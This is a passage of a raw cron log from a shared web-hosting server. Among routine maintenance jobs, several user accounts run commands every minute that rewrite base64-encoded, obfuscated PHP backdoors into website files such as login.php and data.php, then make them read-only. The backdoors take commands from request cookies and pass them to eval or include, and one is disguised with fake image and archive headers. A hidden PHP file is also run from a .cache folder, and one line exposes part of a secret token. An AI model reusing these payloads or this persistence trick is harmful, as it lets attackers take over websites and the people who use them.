"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:03:02 medusa CROND[14863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:03:02 medusa CROND[14865]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:03:02 medusa CROND[14866]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:03:02 medusa CROND[14867]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:03:02 medusa CROND[14868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:03:02 medusa CROND[14864]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:03:02 medusa CROND[14869]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:03:02 medusa CROND[14870]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:03:02 medusa CROND[14871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:03:02 medusa CROND[14875]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:03:02 medusa CROND[14876]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:03:02 medusa CROND[14877]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:04:01 medusa CROND[16467]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:04:01 medusa CROND[16520]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:04:01 medusa CROND[16525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:04:01 medusa CROND[16526]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:04:01 medusa CROND[16527]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:04:01 medusa CROND[16528]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:04:01 medusa CROND[16529]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:04:01 medusa CROND[16530]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:04:01 medusa CROND[16531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:04:01 medusa CROND[16533]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:04:01 medusa CROND[16535]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:04:01 medusa CROND[16539]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:04:01 medusa CROND[16544]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:05:01 medusa CROND[18399]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:05:01 medusa CROND[18404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:05:01 medusa CROND[18403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
